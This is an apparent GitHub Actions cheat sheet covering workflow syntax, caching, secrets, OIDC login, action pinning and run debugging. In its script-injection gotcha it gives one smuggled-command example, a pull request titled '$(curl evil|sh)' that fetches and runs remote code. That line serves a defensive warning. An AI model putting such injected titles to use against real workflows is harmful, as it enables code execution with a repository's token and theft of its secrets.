Code & delivery 22 entries

GitHub Actions cheat sheet

Workflow syntax, caching, secrets, environments and debugging runs. Each entry has a worked example and the flags worth knowing, and where one is easy to get wrong, the gotcha.

Workflow building blocks

CI workflow

A minimal CI workflow for .github/workflows/ci.yml: least-privilege token, cancel superseded runs, cache dependencies.

name: ci
on:
  push:
    branches: [main]
  pull_request:
permissions:
  contents: read
concurrency:
  group: ci-${{ github.ref }}
  cancel-in-progress: true
jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: npm
      - run: npm ci
      - run: npm test
on:
Triggers: push, pull_request, schedule, workflow_dispatch and more.
permissions:
Scope of GITHUB_TOKEN; start from contents: read.
concurrency:
Cancel older runs of the same ref when a new one starts.
timeout-minutes
Kill hung jobs instead of burning the 6-hour default.

needs: [<job>]

Order jobs into a pipeline. Jobs without needs run in parallel.

deploy:
  needs: [test, build]
  if: github.ref == 'refs/heads/main'
  runs-on: ubuntu-latest
needs
Wait for these jobs to succeed.
if: always()
Run even if a needed job failed, for cleanup or notifications.
needs.JOB.outputs.X
Read an output published by an earlier job.

strategy.matrix

Run one job across several versions or platforms.

strategy:
  fail-fast: false
  matrix:
    node: [18, 20, 22]
    os: [ubuntu-latest, windows-latest]
matrix.KEY
Referenced as ${{ matrix.node }}.
fail-fast: false
Let other combinations finish when one fails.
include / exclude
Add or remove specific combinations.
max-parallel
Limit concurrent combinations.

echo "name=value" >> "$GITHUB_OUTPUT"

Publish a step output for later steps and jobs. The old ::set-output command is deprecated.

- id: version
  run: echo "tag=$(git describe --tags)" >> "$GITHUB_OUTPUT"
- run: echo "Building ${{ steps.version.outputs.tag }}"
$GITHUB_OUTPUT
Step outputs file.
$GITHUB_ENV
Set environment variables for later steps.
$GITHUB_STEP_SUMMARY
Markdown shown on the run summary page.

on: workflow_dispatch / schedule

Run workflows by hand with inputs, or on a cron schedule.

on:
  workflow_dispatch:
    inputs:
      environment:
        type: choice
        options: [staging, production]
  schedule:
    - cron: "17 3 * * *"
workflow_dispatch
A Run workflow button, with typed inputs.
schedule.cron
UTC cron; runs on the default branch only.
paths:
Only trigger when matching files change.

Gotcha Scheduled workflows in inactive public repositories are disabled after 60 days without activity.

if: <expression>

Run a job or step conditionally using contexts and status functions.

- name: Deploy
  if: github.event_name == 'push' && github.ref == 'refs/heads/main'
  run: ./deploy.sh
success() / failure()
Status of previous steps; success() is the implicit default.
always() / cancelled()
Run regardless, or only when cancelled.
contains(), startsWith()
String and array helpers.
github.*, env.*, inputs.*
Common contexts.

services:

Start sidecar containers, such as a database, for integration tests in a job.

services:
  postgres:
    image: postgres:16
    env:
      POSTGRES_PASSWORD: test
    ports:
      - 5432:5432
    options: >-
      --health-cmd "pg_isready"
      --health-interval 5s
      --health-retries 10
ports
Map to localhost when steps run directly on the runner.
options --health-*
The job waits until the service is healthy.
service name as host
Used instead of localhost when the job itself runs in a container.

uses: org/repo/.github/workflows/<file>@<ref>

Call a reusable workflow so every service shares one pipeline definition.

jobs:
  deploy:
    uses: acme/platform/.github/workflows/deploy.yml@v3
    with:
      service: api
    secrets: inherit
on: workflow_call
Declared in the called workflow, with inputs and secrets.
secrets: inherit
Pass the caller's secrets through.

concurrency:

Cancel superseded runs on a branch, and never let two deploys to the same environment overlap.

concurrency:
  group: ci-${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true
group
Runs with the same group key queue behind each other.
cancel-in-progress: true
A new run cancels the one already running.
job-level concurrency
Serialize just the deploy job, not the whole workflow.

Gotcha Do not cancel in-progress production deploys: a half-applied rollout is worse than a queued one. Use cancel-in-progress: false for deploy groups.

Caching & artifacts

actions/cache

Restore dependency caches keyed on the lockfile hash.

- uses: actions/cache@v4
  with:
    path: ~/.cache/pip
    key: pip-${{ runner.os }}-${{ hashFiles('**/requirements*.txt') }}
    restore-keys: pip-${{ runner.os }}-
key
Exact match restores the cache; a miss saves a new one at job end.
restore-keys
Prefix fallbacks for a partial, still useful cache.
hashFiles()
Changes the key whenever the lockfile changes.

Gotcha Cache the package manager's download cache, not node_modules or build output, unless you know the restore is safe.

actions/upload-artifact

Keep build outputs, test reports or logs from a run, and pass files between jobs.

- uses: actions/upload-artifact@v4
  if: failure()
  with:
    name: test-reports
    path: reports/
    retention-days: 7
if: failure()
Upload only when something failed.
retention-days
Expire sooner than the repository default.
download-artifact
Fetch it in a later job.

timeout-minutes

Stop a hung job or step before it burns runner minutes for hours.

jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15
jobs.JOB.timeout-minutes
Cap the whole job.
steps[*].timeout-minutes
Cap one step, such as an integration test.
continue-on-error
Let a step or job fail without failing the run.

Gotcha The default job timeout on GitHub-hosted runners is 360 minutes, so a hung test holds a runner for six hours.

Secrets & trust

${{ secrets.NAME }}

Read an encrypted secret. Pass it through env instead of interpolating it into a script.

- run: ./deploy.sh
  env:
    API_TOKEN: ${{ secrets.API_TOKEN }}
secrets.*
Repository, environment or organization secrets.
vars.*
Non-secret configuration variables.
::add-mask::VALUE
Mask a derived value in logs.

Gotcha Secrets are not available to pull_request runs from forks. Do not work around that with pull_request_target plus a checkout of the fork's code.

env: TITLE: ${{ github.event.pull_request.title }}

Avoid script injection: never place untrusted event fields directly inside run.

- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "PR title: $TITLE"
untrusted
Titles, bodies, branch names, commit messages and issue comments.
env: then $VAR
The shell treats the value as data, not code.

Gotcha run: echo "${{ github.event.pull_request.title }}" lets a PR titled $(curl evil|sh) run code with your token.

permissions: id-token: write

Authenticate to a cloud provider with short-lived OIDC tokens instead of long-lived keys stored as secrets.

permissions:
  id-token: write
  contents: read
steps:
  - uses: aws-actions/configure-aws-credentials@v4
    with:
      role-to-assume: arn:aws:iam::123456789012:role/gha-deploy
      aws-region: eu-west-1
id-token: write
Allow the job to request an OIDC token.
trust policy sub
Restrict the cloud role to a repo, branch or environment.

uses: owner/action@<commit-sha>

Pin third-party actions to a full commit SHA so a moved tag cannot swap code into your pipeline.

- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
@v4
A mutable tag: convenient, trusts the publisher.
@SHA
Immutable; let Dependabot propose updates.

environment: production

Gate a deploy job behind required reviewers, wait timers and environment-scoped secrets.

deploy:
  environment:
    name: production
    url: https://app.example.com
  runs-on: ubuntu-latest
required reviewers
Configured in repository settings, not in YAML.
deployment branches
Only allow deploys from main or release/*.

permissions:

Give the GITHUB_TOKEN read-only access by default and grant write scopes only to the jobs that need them.

permissions:
  contents: read

jobs:
  release:
    runs-on: ubuntu-latest
    permissions:
      contents: write
      packages: write
contents
Read or push to the repository.
pull-requests
Comment on or label pull requests.
id-token: write
Request an OIDC token for cloud login.
permissions: {}
No scopes at all.

Gotcha pull_request runs from forks get a read-only token and no secrets. pull_request_target runs with secrets, so never check out and execute the pull request's code in it.

Debug runs

gh run list

List recent workflow runs from the terminal with the GitHub CLI.

gh run list --workflow ci.yml --branch main --limit 5
--workflow FILE
Filter by workflow.
--status failure
Only failed runs.

gh run view <id> --log-failed

Print only the logs of the failed steps, the fastest route to the error.

gh run view 9912345678 --log-failed
--log-failed
Logs for failed steps only.
--web
Open the run in a browser.
gh run rerun ID --failed
Re-run just the failed jobs.

ACTIONS_STEP_DEBUG=true

Turn on verbose runner and step debug logs by setting these as repository variables or secrets.

gh variable set ACTIONS_STEP_DEBUG --body true
ACTIONS_STEP_DEBUG
Extra logging from actions (::debug:: lines).
ACTIONS_RUNNER_DEBUG
Runner diagnostic logs.
Re-run with debug logging
The same switch for a single re-run in the UI.

Red build triage

Work out whether a failure is your change, the pipeline or the environment before re-running.

1. Read the first error in the failed step, not the last line. 2. Did the same job pass on main today? If not, the break is not your PR. 3. Did anything change outside the code: action version, runner image, a dependency release, a secret? 4. Re-run failed jobs once. Passing on re-run means flaky: open a ticket, do not ignore it. 5. Reproduce locally with the same versions the runner used.

runner image
ubuntu-latest moves to new versions; pin ubuntu-24.04 for stability.
exit code 137
The process was OOM-killed on the runner.

Your pager is ready.

Free, instant, and it works on your phone. No signup: start as a guest and save your progress later.